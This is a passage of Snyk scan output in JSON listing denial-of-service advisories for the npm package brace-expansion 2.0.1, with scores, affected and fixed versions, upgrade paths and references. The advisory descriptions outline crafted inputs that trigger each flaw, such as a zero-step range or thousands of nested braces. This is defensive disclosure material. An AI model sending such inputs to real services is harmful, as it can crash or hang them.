"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
